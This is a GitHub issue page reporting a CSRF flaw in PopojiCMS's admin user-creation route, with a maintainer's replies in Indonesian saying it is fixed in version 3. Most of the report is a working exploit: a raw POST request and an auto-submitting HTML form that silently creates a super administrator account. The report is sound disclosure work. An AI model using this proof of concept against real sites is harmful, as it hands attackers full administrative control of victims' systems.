Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I found a CSRF vulnerability that can add a super administrator account directly #14

Closed
p0desta opened this issue Oct 30, 2018 · 2 comments

Comments

@p0desta
Copy link

p0desta commented Oct 30, 2018

    POST /PopojiCMS/po-admin/route.php?mod=user&act=addnew HTTP/1.1
    Host: www.test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 128
    Cookie: iCMS_USER_AUTH=dc043aa07gOqcLfWTuJoLSCrKIkbJNa8SPGk1VUKhacikJl4JxbrK2aBNBbk0bbmKnQwweqtz7vvJ93P2lLGBzezHER9aEK_HMs0_39QpgM5hSdhCCNxDv8Lwtx1RRqZEVpWUZBwAjJe9476soMuCC6-gJ1e_mfMMhYSA8ioWG1OUFUvUW07tVg5F0RUP2oamPz91F-t85bDNOEnubfHpxzFMND3EABDYJN0o1HfVweojEDYaxs-l6VEiuc0fFUlm-MIZXnd5xe1h6std5cCRwRCS_H71q-oTNO3NbuyojT9HVlCafwxmz7BTlmfIRHeADx7DImb_UyY_daATbgMffPsEHs4KApMstm9pbT4D53E8YbyCAnCDog4MQ7tV3snwpSRufPJCdeY3fkJUFyDhfbqTiJXEAxAcOWCoxGwLXWPI-Ns9Tyjh4WJChqpy0_gwa3JSszGZOQZaAf86KqeDKdct-YSE2UN6qwRVvUeOijMZrdzPxaqt_1OzlhDeBPlM4UW4xQMh7VQ3q5TcfpIHclZWiAspuU8Ynnj3XEwAo8; iCMS_userid=b8423c8bm9SnzUz782Y6XmtRdU1dTR3CL9iqL-Iv83vI7htnIg; iCMS_nickname=c3bc646dcSTyka3txmYpDcMW2sUPNhaunl7kIzv0Nf_89GTeIZNk; SESScc7018fb7c828d13ca316e4ca4f83f45=reN7QmxRtg9oImYLl_d5_ZsuNHhcU1_umYek0QW3BUc; PHPSESSID=5o4r0qmiao4kna434n7kdbnn14
    referer: http://www.test.com/fiyocms/
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    
    username=p0desta1&nama_lengkap=p0desta1&password=p0desta&repeatpass=p0desta&email=p0desta%40p0desta.com&no_telp=12121212&level=1

The reason for this problem is the same as above, there is no CSRF protection, then you can get a super administrator account by sending a message to the administrator link, constructing a poc

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <form id="p0desta" action="http://www.test.com/PopojiCMS/po-admin/route.php?mod=user&act=addnew" method="POST">
          <input type="hidden" name="username" value="p0desta1" />
          <input type="hidden" name="nama&#95;lengkap" value="p0desta1" />
          <input type="hidden" name="password" value="p0desta" />
          <input type="hidden" name="repeatpass" value="p0desta" />
          <input type="hidden" name="email" value="p0desta&#64;p0desta&#46;com" />
          <input type="hidden" name="no&#95;telp" value="12121212" />
          <input type="hidden" name="level" value="1" />
        </form>
    	<script>document.getElementById('p0desta').submit();</script>
      </body>
    </html>
    
@DwiraSurvivor
Copy link
Contributor

Terima kasih untuk temuan ini. Kami sebagai pengembang akan segera memperbaiki masalah ini di versi berikutnya.

@DwiraSurvivor
Copy link
Contributor

Sudah diperbaiki pada versi 3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants